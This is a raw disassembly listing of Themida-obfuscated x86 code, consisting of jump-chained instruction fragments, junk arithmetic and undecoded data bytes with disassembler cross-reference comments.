loc_4F7548:				; CODE XREF: Themida_:004FD1D2j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_4F8C88
; ---------------------------------------------------------------------------
		db 31h
		dd 0C6815FFEh, 4F9C6B61h, 0F681DEF7h, 9739324Eh, 0E95EF101h
		dd 3866h, 815FFE29h, 88DAF0C6h,	8BF5019Eh, 0C4832434h
		dd 0F8B7E904h, 5401FFFFh, 4CE90424h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4F758B:				; CODE XREF: Themida_:004F58EDj
		not	dl
		not	dl
		push	eax
		jmp	loc_4FC02E
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 37h
		dd 0C17AE648h, 0F4E908EAh, 81000007h, 4C4h, 4C28300h, 2C3CE9h
		dd 58C53100h, 5127EA81h, 65E93428h, 5C000076h, 0FFCC96E9h
		dd 24248BFFh, 0E9240C89h, 0FFFFB924h, 83242C8Bh, 0C68104C4h
		dd 0AF66FD99h, 0FF207709h, 535E2434h, 0C381E389h, 4, 3304C383h
		dd 1C31241Ch, 241C3324h, 0B9BD555Ch, 8137177Eh,	0AD3AC0C5h
		dd 2BB85065h, 291B74A9h, 6F0158C5h, 53525D20h, 432A39BBh
		dd 0D0F79316h, 65C38193h, 815DD02Bh, 4ECh, 24148900h, 310DE9h
		dd 24143200h, 86241430h, 885366E2h, 52D3F6E3h, 0D8885051h
		dd 8858C188h, 885359CEh, 5BDC88F3h, 865B665Ah, 505366E2h
		dd 0E9D18851h, 0D53h, 592434FFh, 0E904EC83h, 3966h, 5C240C87h
		dd 4EDEE9h
		db 0
; ---------------------------------------------------------------------------

loc_4F7675:				; CODE XREF: Themida_:004F8EC6j
		mov	ecx, esi
		pop	esi
		jmp	loc_4FD017
; ---------------------------------------------------------------------------

loc_4F767D:				; CODE XREF: Themida_:004F7AF7j
		add	edi, 49233B50h
		pop	ebp
		jmp	loc_4F631A
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 4EC8324h, 89240489h,	405E0h,	0E8830000h, 24048704h
		dd 243C895Ch, 600E9h, 0FFE95300h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4F76AF:				; CODE XREF: Themida_:004F833Dj
		push	dword ptr [esp]
		jmp	loc_4F79D6
; ---------------------------------------------------------------------------
aNhqc		db 'hC',0
		dd 24148900h, 9170C0BAh, 0D357E93Eh, 0CE01FFFFh, 5E5C681h
		dd 33592E1Dh, 34312434h, 24343324h, 6275E9h
		db 0
; ---------------------------------------------------------------------------

loc_4F76E1:				; CODE XREF: Themida_:004FE3E9j
		mov	edi, 4
		sub	eax, 0BC95DB2h
		sub	eax, 675C6D4Bh
		jmp	loc_4FC4A5
; ---------------------------------------------------------------------------

loc_4F76F5:				; CODE XREF: Themida_:004FCA37j
		push	eax
		mov	al, 81h
		push	ecx
		jmp	loc_4FD97D
; ---------------------------------------------------------------------------

loc_4F76FE:				; CODE XREF: Themida_:004FDE26j
		pop	eax
		push	esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		push	edi
		jmp	loc_4FCA8D
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 241C8904h, 4BBh, 378D2D00h, 0D8015603h, 3378D05h, 4875B56h
		dd 0C8855C24h, 0B7BAE99Ch, 0F35EFFFFh, 386203A5h, 654CE9h
		db 0
; ---------------------------------------------------------------------------

loc_4F7745:				; CODE XREF: Themida_:004FCD68j
		xchg	ebp, [esp]
		jmp	loc_4FD0DF
; ---------------------------------------------------------------------------
		db 89h,	0C8h, 0E9h
		dd 69Fh, 815FFE89h, 4ECh, 242C8900h, 0E20011BDh, 0D1ED811Ch
		dd 571F195Fh, 0FFFA41E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4F7771:				; CODE XREF: Themida_:004F9B98j
		add	edi, 0FFFFFFFFh
		push	esi
		jmp	loc_4F51AC
; ---------------------------------------------------------------------------
		dw 8950h
		dd 405E0h, 0BF570000h, 4, 0E95FF801h, 6D2Ah, 4C281h, 0EA830000h
		dd 24143304h, 33241431h, 895C2414h, 74B9240Ch, 81473258h
		dd 727407C1h, 2F17E972h, 665C0000h, 6600B60Fh, 66342A68h
		dd 0E9240489h, 0FFFFB72Ch, 0BD685150h, 594AC361h, 4C98E9h
		dd 8E722D00h, 0C7315BBAh, 56DFF758h, 7FC8C1BEh,	5EF731D6h
		dd 45E9E9h, 68515200h, 7D0B0600h, 8B2434FFh, 9DE9240Ch
		dd 8300002Ch, 0B75304C4h, 5E7C0A6h, 0C780C7FEh,	5BF8000Ah
		dd 53241C8Bh, 0C381E389h, 4, 7350E9h, 0B6CEE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4F7826:				; CODE XREF: Themida_:004F702Fj
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		jmp	loc_4FA651
; ---------------------------------------------------------------------------

loc_4F783F:				; CODE XREF: Themida_:004FCCB0j
		not	dword ptr [esp]
		inc	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		push	ebx
		mov	ebx, 4987482h
		mov	edi, ebx
		pop	ebx
		jmp	loc_4F600E
; ---------------------------------------------------------------------------
		db 0B2h, 0Bh, 0C0h
		dd 0E28005E2h, 80E2D0A4h, 0D30077C2h, 0DD28585Ah, 706AE9h
		dd 0C8B6600h, 0E7895724h, 0FFC89FE9h, 8BC329FFh, 0C4812404h
		dd 4, 3C8BFB31h, 0BD0CE924h, 6852FFFFh,	3F477D4Ah, 2454015Ah
		dd 835E5A04h, 0AEE904ECh, 53FFFFF1h, 885CB450h,	24048BE7h
		dd 4C481h, 0CFFE0000h, 3006C780h, 4960E9FAh, 59660000h
		dd 0EB803004h, 7BB551C9h, 648AE9h, 5AF0B800h, 2DE97537h
		dd 100000Eh, 22D5BD8h, 5502C721h, 8904EC83h, 0E589242Ch
		dd 4C581h, 0ED810000h, 4, 3CB8E9h, 48B6600h, 4EC8124h
		dd 89000000h, 0FF54241Ch, 0DDE92434h, 88FFFFF6h, 1D98E9F9h
		dd 1C8B0000h, 0FA54E924h, 6B68FFFFh, 89000042h,	0ADE92404h
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_4F7933:				; CODE XREF: Themida_:004FDABCj
		neg	edi
		jmp	loc_4F5D8E
; ---------------------------------------------------------------------------
		dw 85Ah
		dd 0B7535BFEh, 5BFE08D0h, 303FF680h, 4C31E9F5h,	0E9810000h
		dd 2132063Eh, 0CE9D929h, 5C00000Eh, 240C8966h, 0C8B60F66h
		dd 0E99C5166h, 7707h, 4C181h, 0C870000h, 88E95C24h, 8100004Eh
		dd 4C7h, 4EF8100h, 87000000h, 46E9243Ch, 5C00002Eh, 5A245701h
		dd 0E1895157h, 4C181h, 0E9830000h, 0F36E904h, 815B0000h
		dd 2C6h, 74FF5600h, 0E95E0424h,	0FFFFC705h, 0C5815D54h
		dd 4, 4C581h, 2C330000h, 5C65E924h, 24890000h, 6EB2E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4F79D6:				; CODE XREF: Themida_:004F76B2j
		pop	ebx
		add	esp, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		cmp	ecx, eax
		pushf
		jmp	loc_4F4FBE
; ---------------------------------------------------------------------------
		dw 5351h
		dd 0FFD17AE9h, 74FF57FFh, 3C8B0424h, 4C48324h, 0E924048Fh
		dd 464Eh
; ---------------------------------------------------------------------------

loc_4F7A08:				; CODE XREF: Themida_:004F9B18j
		xor	ebp, 6CF48DBEh
		mov	eax, 82ED60h
		jmp	loc_4F4959
; ---------------------------------------------------------------------------
		dd 0E9241431h, 5C50h, 6D1B68h, 24048900h, 0FFB4C7E9h, 242C8BFFh
		dd 6649E9h, 2434FF00h, 1E58E9h,	4C48100h, 51000000h, 0DF24E953h
		dd 0C281FFFFh, 4, 4C281h, 14870000h, 48F5C24h, 83AE924h
		dd 0F8280000h, 82E95B66h, 66000007h, 2404AB0Fh,	0B47EE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4F7A76:				; CODE XREF: Themida_:004FE81Dj
		add	ecx, 4
		push	esi
		jmp	loc_4F5734
; ---------------------------------------------------------------------------
		dw 0BE56h
		align 8
		dd 0EF68EE29h, 89000002h, 65E9242Ch, 5AFFFFB6h,	0FFC8C1E9h
		dd 9BCB80FFh, 8003EBC0h, 0D8286FEBh, 45A2685Bh,	0D1E90000h
		dd 100003Ah, 54ED81FDh,	8B14C603h, 0C481243Ch, 4, 20C2E951h
		dd 89500000h, 386568E0h, 2C890000h, 5046824h, 4890000h
		dd 2ED7B824h, 0A5E96EE3h
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4F7AE7:				; CODE XREF: Themida_:004FB675j
		mov	esi, 6FE2BAA5h
		mov	edi, esi
		pop	esi
		sub	edi, 49233B50h
		sub	edi, ebp
		jmp	loc_4F767D
; ---------------------------------------------------------------------------
		dd 16491BBDh, 6825h, 2C290000h,	77E95D24h, 66FFFFC9h, 0E9CCB60Fh
		dd 712Ch
; ---------------------------------------------------------------------------

loc_4F7B18:				; CODE XREF: Themida_:004FEEC8j
		sub	esp, 4
		mov	[esp], esi
		push	0BEDh
		mov	[esp], edx
		mov	edx, 457F2BA3h
		push	edx
		xor	dword ptr [esp], 25657986h
		jmp	loc_4F61C9
; ---------------------------------------------------------------------------
		dd 0E3F2814Ah, 0E91C571Ch, 452Ah, 0F1B65259h, 39E9F100h
		dd 87000019h, 895C2434h, 0E789243Ch, 4EC81h, 0C890000h
		dd 0DAFFE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4F7B66:				; CODE XREF: Themida_:004F9A6Cj
		sub	ecx, 7BEA164Ch
		pop	edx
		add	ebx, 0E216D2Fh
		sub	ebx, ecx
		sub	ebx, 0E216D2Fh
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_4FC5E1
; ---------------------------------------------------------------------------
		db 81h
		dd 9D5165C1h, 81E90152h, 9D5165E9h, 0BE565D52h,	414960B6h
		dd 4014F681h, 51E90AF5h, 33000039h, 248B243Ch, 2A19E924h
		dd 4680000h, 8900006Dh,	9C502414h, 0FFB32BE9h, 3C8B59FFh
		dd 4C48324h, 0C15AD121h, 0FE6806E9h, 89000046h,	0EC812414h
		dd 4, 81241C89h, 7A502434h, 815A1D0Ah, 0A7A50F2h, 29FD681Dh
		dd 2C890000h, 57D58924h, 4EC81h, 0E6E90000h, 51FFFFD8h
		dd 2B9h, 53880500h, 0AA2D4A5Bh,	0E921010Ah, 0FFFFD888h
		dd 2434875Dh, 2424D35Ch, 0FFB2C7E9h, 0E7E94FFFh
		db 4Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_4F7C33:				; CODE XREF: Themida_:004F4EACj
		push	edx
		mov	edx, 0CEB0CA2h
		jmp	loc_4FF432
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 0F7E95124h, 5C00003Dh, 0E9240C89h, 3B71h, 0B652D800h
		dd 69F1E9F1h, 815B0000h, 0D4E79AF6h, 8BF501A7h,	0C4832434h
		dd 246F2904h, 8153575Dh, 0ECA242Ch, 685F0228h, 6ABDh, 0FFCB1CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4F7C81:				; CODE XREF: Themida_:004FB57Fj
		add	ebx, 4
		jmp	loc_4F65AB
; ---------------------------------------------------------------------------

loc_4F7C89:				; CODE XREF: Themida_:004FAA91j
		push	esp
		pop	ebx
		add	ebx, 4
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_4F3276
; ---------------------------------------------------------------------------
		dd 380F68h, 24348900h, 51EEE9h,	6B896800h, 24890000h, 24048124h
		dd 4, 5FFDE9h, 4C28100h, 81000000h, 4C2h, 24148700h, 0E924248Bh
		dd 460Dh, 89241C89h, 4C381E3h, 81000000h, 4C3h,	241C8700h
		dd 0AE8C15Ch, 5797C831h, 8B2414F7h, 0C483243Ch,	3C25E904h
		dd 0C4810000h, 4, 765AE9h, 0E91E0400h, 1B2Ah, 9C240CD2h
		dd 0FFB1DBE9h, 9F6850FFh, 89000027h, 4832424h, 48B0424h
		dd 4C48124h, 5000000h, 4, 2F9CBA52h, 0E281462Ah, 0A697301h
		dd 0FFEA8EE9h, 0E9028FFFh, 0FFFFB1A8h, 81242489h, 42404h
		dd 48B0000h, 4C48124h, 0E9000000h, 4599h, 0E93877FFh, 4D79h
; ---------------------------------------------------------------------------

loc_4F7D6C:				; CODE XREF: Themida_:004FB526j
		mov	esi, 0A565F009h
		add	esi, ebx
		pop	ebx
		add	edi, esi
		push	dword ptr [esp]
		jmp	loc_4FD7EF
; ---------------------------------------------------------------------------
		dw 815Ch
		dd 13582404h, 4017878h,	0E9545624h, 0FFFFB7D0h,	44E95553h
		dd 8100002Ch, 12FB80F2h, 5AD70100h, 5C243C87h, 683FE952h
		dd 51660000h, 5BE979B5h, 6600000Bh, 6B04E950h, 68550000h
		dd 1, 2B5BE95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4F7DC6:				; CODE XREF: Themida_:004F374Aj
		dec	edx
		push	79B4h
		mov	[esp], esi
		mov	esi, 31834266h
		and	esi, 7E90281Ah
		xor	esi, 69B27A58h
		jmp	loc_4FB044
; ---------------------------------------------------------------------------
		db 31h,	0F1h, 5Eh
		dd 70F2C981h, 0A9E95283h, 8B00003Bh, 0C483240Ch, 2434FF04h
		dd 48E9565Ah, 68000043h, 4, 8BDD015Bh, 0C483241Ch, 242C8704h
		dd 124248Bh, 0ED6859CEh, 0E900005Eh, 1711h, 515FFB89h
		dd 2A4C72B9h, 338AE90Ch, 0C4810000h, 4,	8B24048Fh, 13E92424h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4F7E43:				; CODE XREF: Themida_:004F8742j
		inc	dl
		push	cx
		jmp	loc_4FCFEC
; ---------------------------------------------------------------------------
		dd 86BAE180h, 86D6F6F1h, 0DC66E9F1h, 0C829FFFFh, 0D376E959h
		dd 8966FFFFh, 44E92404h, 52FFFFD8h, 4EC81h, 24890000h
		dd 68525024h, 63E42575h, 8FC2815Ah, 899C1BDAh, 189E9D0h
		dd 0FA680000h, 8900006Eh, 2B82404h, 81000000h, 302F4BC7h
		dd 81C7016Ch, 302F4BEFh, 38B1E96Ch, 0EA830000h,	24148704h
		dd 4FD1E9h, 5FAB0D00h, 12D4410h, 2D000000h, 5DC22BA9h
		dd 48BC701h, 2D64E924h,	34FF0000h, 29B1E924h, 2C810000h
		dd 8B4B3924h, 24142932h, 39240481h, 81328B4Bh, 28DE2404h
		dd 0E95A48ACh, 0FFFFD763h, 240C8B66h, 0C8B5451h, 4C48324h
		dd 4B40E9h, 34C68100h, 29B52B98h, 0F8015EF0h, 0F2155C05h
		dd 1B2BE932h, 7FB10000h, 6658E128h, 28000068h, 0C8A240Ch
		dd 2C48324h, 4300E9h
		db 0
; ---------------------------------------------------------------------------

loc_4F7F31:				; CODE XREF: Themida_:004FF438j
		not	ebx
		sub	ebx, 68C02475h
		sub	ebp, ebx
		mov	ebx, [esp]
		jmp	loc_4F422F
; ---------------------------------------------------------------------------

loc_4F7F43:				; CODE XREF: Themida_:004F43FBj
		pop	ebx
		pop	edi
		and	eax, ebp
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebx
		jmp	loc_4F6D0F
; ---------------------------------------------------------------------------
		dd 4777EB2Dh, 56C82958h, 0B13EADBEh, 81D6F720h,	834BB0F6h
		dd 9F68167h, 1E08AFDh, 4D79E9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4F7F8E:				; CODE XREF: Themida_:004FD5E7j
		mov	ecx, 43D6673Bh
		sub	edx, ecx
		jmp	loc_4F98AB
; ---------------------------------------------------------------------------
		dw 405h
		dd 33000000h, 4312404h,	24043324h, 6666685Ch, 34890000h
		dd 2066BE24h, 0F6E975C4h, 1FFFFB3h, 1C8759CBh, 0D198E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4F7FC6:				; CODE XREF: Themida_:004F375Dj
		add	esp, 4
		push	ebp
		push	esp
		pop	ebp
		push	7310h
		mov	[esp], ebx
		mov	ebx, 5B6E5BBAh
		shr	ebx, 4
		jmp	loc_4FB26E
; ---------------------------------------------------------------------------

loc_4F7FE4:				; CODE XREF: Themida_:004FB045j
		mov	edi, 47AD3350h
		xor	edi, 112B0CFFh
		add	edi, 482D6ECDh
		push	esi
		mov	esi, 8B2170A1h
		sub	edi, esi
		pop	esi
		and	esi, edi
		pop	edi
		shl	esi, 4
		jmp	loc_4F5FDA
; ---------------------------------------------------------------------------
		db 80h,	0C3h, 37h
		dd 0FFE9C300h, 5AFFFFDBh, 2D15E9h, 0CD35C00h, 0D1E99C24h
		dd 81FFFFAEh, 2244CCEFh, 60C78112h, 590AA049h, 8702C783h
		dd 248B243Ch, 0AB0F6624h, 0E99C2404h, 0FFFFAEB0h, 4C481h
		dd 348B0000h, 4C48124h,	87000000h, 0E95C2404h, 1A39h, 89243C89h
		dd 4BB53E7h, 50000000h,	0D90BC0B8h, 0DBB8E96Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4F8072:				; CODE XREF: Themida_:004F6253j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_4F6B68
; ---------------------------------------------------------------------------
aUISSH		db '',7,'I',9,'] h',0
		db 0
; ---------------------------------------------------------------------------

loc_4F808D:				; CODE XREF: Themida_:004F9F00j
		push	edx
		jmp	loc_4FA4FE
; ---------------------------------------------------------------------------

loc_4F8093:				; CODE XREF: Themida_:004FE47Aj
		jnz	loc_4F4179
		push	6B1h
		mov	[esp], edx
		sub	esp, 4
		jmp	loc_4F9400
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 8
		dd 89781ED9h, 0D5E4E9F1h, 63B2FFFFh, 805AD530h,	0E828EEC5h
		dd 13D3E9h
		db 0
; ---------------------------------------------------------------------------

loc_4F80C5:				; CODE XREF: Themida_:004FA2BCj
		pop	edx
		sub	edx, 3F50435Eh
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		and	ecx, edx
		jmp	loc_4FC86C
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 5
		dd 2132DE56h, 15E95AD1h, 5900001Ah, 575EF101h, 4BFh, 5FF90100h
		dd 16D2E9h, 86EE8100h, 12B325Fh, 0FF505EF0h, 58042474h
		dd 8B24048Fh, 4812424h,	3C0EA324h, 46C6682Ch, 91E90000h
		dd 1000028h, 4684E9F7h,	0CE810000h, 6625342Fh, 0ACB7BA52h
		dd 0D631E381h, 0FFE569E9h, 0FBE950FFh, 83FFFFEBh, 148904ECh
		dd 5D9CBA24h, 0CA816234h, 63896FA2h, 0FFFF84E9h, 4C483FFh
		dd 6EE9DF01h
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_4F8163:				; CODE XREF: Themida_:004F2F22j
		sub	dh, al
		pop	ax
		add	bl, dh
		pop	edx
		add	bl, 0A6h
		add	bl, al
		jmp	loc_4FBCE9
; ---------------------------------------------------------------------------
		dd 813C77FFh, 615C2434h, 51587D69h, 0C181E189h,	4, 4E981h
		dd 0C870000h, 0D27BE924h, 0E7C0FFFFh, 7BC78007h, 1C8BF930h
		dd 4C48324h, 2860E980h,	0F60459C8h, 0F62CD828h,	722CEA04h
		dd 0EC81642Ch, 4, 0B7241C89h, 94B151F5h, 8359C800h, 0C8904ECh
		dd 80E8B524h, 0CDFEC7EDh, 0FEDCE952h, 0C201FFFFh, 8124048Bh
		dd 4C4h, 4EA8300h, 5248E9h, 28340400h, 4BE951F8h, 0B8FFFFB7h
		dd 4, 56C2C581h, 0C5292511h, 56C2ED81h,	87582511h, 895C242Ch
		dd 0B0BE2434h, 0E9691123h, 5EA9h, 0D861C581h, 0EE2961B8h
		dd 0FFF3A7E9h, 0D4F281FFh, 1251DC9h, 24148BD0h,	81E68956h
		dd 4C6h, 4C68100h, 0E9000000h, 6F77h, 1D4DE959h, 0E3C00000h
		dd 6E3C005h, 88EDF380h,	241C8BD9h, 0C004C483h, 0B05004E1h
		dd 0F6C0FE27h, 0AD78E9D8h, 0E689FFFFh, 4C681h, 0EDE90000h
		dd 51000065h, 0C182BD55h, 0E989738Ah, 0E9CF015Dh, 1A13h
		dd 2B60F66h, 49196853h,	0E9540000h, 4E57h, 0AF0F665Ch
		dd 9C5166C8h, 0FFAC4BE9h, 5E5C1FFh, 0C106EDC1h,	4EE907E5h
		dd 5B000066h, 5E78E9h
		db 0
; ---------------------------------------------------------------------------

loc_4F82BD:				; CODE XREF: Themida_:004F4064j
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_4F31F9
; ---------------------------------------------------------------------------
		db 81h
		dd 4F91C6F7h, 5BB5E94Bh, 0EF010000h, 5FFD015Dh,	5504C583h
		dd 42474FFh, 24048F5Dh,	924248Bh, 0E99C2404h, 0FFFFF521h
		dd 8B5B0B8Bh, 4FE92414h, 5DFFFFF1h, 2E8FE9h, 1C77FF00h
		dd 1858669Dh, 0E99C2404h, 0FFFFABD4h
; ---------------------------------------------------------------------------

loc_4F8320:				; CODE XREF: Themida_:004F93A7j
		pop	esi
		neg	ebx
		and	ebx, 50D809BFh
		add	ebx, 0EF67F6EEh
		add	edx, 1B936C60h
		add	edx, ebx
		sub	edx, 1B936C60h
		jmp	loc_4F76AF
; ---------------------------------------------------------------------------

loc_4F8342:				; CODE XREF: Themida_:004F4EF8j
		push	ebx
		mov	bh, 0A0h
		shr	bh, 8
		inc	bh
		sub	bh, 0D9h
		add	al, bh
		pop	ebx
		push	ebx
		mov	bl, 6
		shl	bl, 5
		push	cx
		push	edx
		mov	dl, bl
		mov	cl, dl
		pop	edx
		not	cl
		mov	bl, cl
		jmp	loc_4F95B3
; ---------------------------------------------------------------------------
		db 1
		dd 5AEA81C2h, 0E94CE841h, 0FFFFAB80h, 8124048Bh, 4C4h
		dd 28790400h, 0FA24E9E8h, 248BFFFFh, 545CE924h,	0EE890000h
		dd 1C77215Dh, 24EE9h, 2E2C100h,	8107EAC1h, 29227FF2h, 0AC48E96Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4F83AA:				; CODE XREF: Themida_:004F66D0j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_4F8ADE
; ---------------------------------------------------------------------------
		db 88h
		dd 0E38859CCh, 24548A58h, 245C8802h, 1C8B6602h,	2C48124h
		dd 0E9000000h, 1302h
; ---------------------------------------------------------------------------

loc_4F83D0:				; CODE XREF: Themida_:004FBEA3j
		add	ebp, 202F2F8Dh
		add	ebp, 7F682DB3h
		jmp	loc_4FA032
; ---------------------------------------------------------------------------
		db 89h,	0F0h, 5Eh
		dd 461AEB81h, 0C3016726h, 461AC381h, 48B6726h, 0C9DDE924h
		dd 0C483FFFFh, 40504h, 0E8830000h, 24043302h, 33240431h
		dd 48E92404h, 89FFFFF5h, 1CBB241Ch, 0E9000000h,	4344h
		dd 815FF989h, 0E062D6C1h, 87D9F726h, 31D7F7F9h,	31CF31F9h
		dd 0ECBB53F9h, 0E9221E68h, 0FFFFD995h, 0E924048Bh, 0FFFFE071h
		dd 9D1C77FFh, 24041958h, 0AA9EE99Ch, 0BA52FFFFh, 5CBA128Ah
		dd 26CDC281h, 0F281576Ch, 38B1778Ah, 235F68h, 240C8900h
		dd 974ED9B9h, 59CA318Ch, 7D3E9h, 4C48300h, 0E904C083h
		dd 0FFFFCD5Bh
; ---------------------------------------------------------------------------

loc_4F8488:				; CODE XREF: Themida_:004F7199j
		mov	[esp], edx
		push	58DAh
		mov	[esp], ebx
		push	4ED34701h
		pop	ebx
		push	7AB9h
		mov	[esp], edx
		mov	edx, 73C145DBh
		push	ebx
		mov	ebx, 4B63D9D7h
		sub	edx, 34F9355Dh
		sub	edx, ebx
		jmp	loc_4FB00C
; ---------------------------------------------------------------------------
		db 52h,	0E9h, 3Bh
		dd 83FFFFCCh, 0C8904ECh, 0E0E95324h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------

loc_4F84CB:				; CODE XREF: Themida_:004F961Bj
		xchg	ebp, [esp]
		pop	esp
		mov	bl, ah
		mov	eax, [esp]
		add	esp, 4
		xor	al, bl
		pop	bx
		push	small 60CDh
		mov	[esp], dx
		mov	dh, 35h
		xor	dh, 0FBh
		xor	dh, 25h
		xor	al, dh
		mov	dx, [esp]
		push	5B3h
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		push	esi
		jmp	loc_4FB0ED
; ---------------------------------------------------------------------------
		db 59h
		dd 4C481h, 48F0000h, 24048324h,	6BBBE904h, 0C2880000h
		dd 0B4E9D388h, 81000033h, 11017BC1h, 7DE98137h,	31CBC45Fh
		dd 1DE959C8h, 0FFFFFFD2h, 0E9592434h, 19C7h, 8BFB015Fh
		dd 0C481243Ch, 4, 2474FF53h, 0C0B0E904h, 1489FFFFh, 0AB73E924h
		dd 0C389FFFFh, 0FFAD4CE9h, 4C781FFh, 81000000h,	4C7h, 243C8700h
		dd 0E089505Ch, 32DBB53h, 0EB812145h, 0D7E54CBh,	0AE5EEB81h
		dd 0D80113C6h, 33BF575Bh, 0F709CD64h, 94E94FD7h, 8F000030h
		dd 0D35C2404h, 0E99C2424h, 0FFFFA948h, 0E95BDF89h, 0FFFFE16Bh
		dd 0E95D5455h, 5F3Ch, 0FFF0315Fh, 348B2434h, 4C48324h
		dd 1053E9h, 0F7C78100h,	15ED42Eh, 0F7EF81EFh, 815ED42Eh
		dd 26038FEFh, 58E95D04h, 0FFFFFFE0h, 348B2434h,	4C48324h
		dd 0E904C483h, 0F7h, 4E1C159h, 4579E181h, 0E981221Bh, 783F8426h
		dd 39E9CE01h, 68FFFFFCh, 635Dh,	0BA241489h, 9430BA85h
		dd 148BD601h, 4C48324h,	3538C781h, 0F701006Fh, 3538EF81h
		dd 348B006Fh, 4C48124h,	83000000h, 0FF5702C7h, 5F042474h
		dd 2869E9h, 54575F00h, 4C7815Fh, 81000000h, 4C7h, 243C8700h
		dd 6824248Bh, 48E7h, 0FFC213E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4F8669:				; CODE XREF: Themida_:004F975Dj
		pop	ebp
		or	eax, eax
		jz	loc_4FECBD
		push	ebx
		mov	ebx, 1Ch
		push	43D4h
		mov	[esp], ecx
		jmp	loc_4F5101
; ---------------------------------------------------------------------------

loc_4F8685:				; CODE XREF: Themida_:004FE4EAj
		push	eax
		mov	eax, 7A4D4368h
		sub	eax, 78220CD1h
		or	eax, 45450ADCh
		jmp	loc_4F4A43
; ---------------------------------------------------------------------------
		dw 0EDC1h
		dd 9DC58102h, 297A6AFBh, 0D7E95DE9h, 50000009h,	0E788D488h
		dd 8B2434FFh, 44E92404h, 0BEFFFFB8h, 61772516h,	0B2E9574Eh
		dd 2800004Bh, 77B151D8h, 94E9E1D0h, 8BFFFFACh, 8956243Ch
		dd 4C681E6h, 81000000h,	4C6h, 24348700h, 24048F5Ch, 5324248Bh
		dd 8B2434FFh, 34E9241Ch, 0B3000010h, 1A18E9A7h,	0D6BF0000h
		dd 0E9197E3Fh, 1D78h, 15282105h, 0A153518h, 0E8D15528h
		dd 2DD8F748h, 93CDBB7Bh, 0E9C689h, 0B0FFFFBBh, 0CC8FEF9h
		dd 0B51E9BAh, 0DDF70000h, 6239E9h
		db 0
; ---------------------------------------------------------------------------

loc_4F8739:				; CODE XREF: Themida_:004F95BAj
		pop	ebx
		pop	ecx
		sub	al, bl
		push	edx
		mov	dl, 75h
		inc	dl
		jmp	loc_4F7E43
; ---------------------------------------------------------------------------
		db 55h
		dd 42474FFh, 83242C8Bh,	48F04C4h, 0A6E95C24h, 5E000008h
		dd 83243C8Bh, 64E904C4h, 81000007h, 32063EC1h, 4F095B21h
		dd 7DE9591Ch, 0B5FFFFA7h, 3E5C07Dh, 28FBF580h, 0D80059E8h
		dd 20D168h, 671DE900h, 8B660000h, 8950240Ch, 5ABD55E0h
		dd 81596439h, 725872C5h, 0C1D5F73Fh, 0F58705E5h, 0F587D6F7h
		dd 1E44E9h, 4EC8300h, 89242C89h, 4C581E5h, 81000000h, 4C5h
		dd 74FF5500h, 8F5D0424h, 0A0E92404h, 5B000001h,	0FFC8F7E9h
		dd 5DE801FFh, 41AAE9h, 47820D00h, 0C40543C2h, 2D7B6714h
		dd 0CCFB1059h, 833E9h, 0C2BB5300h, 0E934DA64h, 0FFFFD3FDh
		dd 0E9243489h, 4519h, 0F6B7EE81h, 0C2818B16h, 621F7F16h
		dd 51E9F201h, 41FFFFE7h, 8B2BF57h, 0F9291D60h, 7BE9505Fh
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4F882B:				; CODE XREF: Themida_:004FE966j
		pop	esp
		push	esi
		mov	esi, 4BB252A2h
		jmp	loc_4FA9A6
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0B951F029h, 0EC6C4Bh, 18DDE9h, 241C3100h, 8B241C33h
		dd 4892424h, 48B5424h, 4C48324h, 405h, 4C08300h, 31240433h
		dd 4332404h, 24248B24h,	8124148Bh, 4ECh, 241C8900h, 0EC83E389h
		dd 24048904h, 4B8h, 58C30100h, 371AE9h,	90B95100h, 8113D614h
		dd 6D364EC2h, 81CA010Ah, 6D364EEAh, 0D689590Ah,	0E9EE295Ah
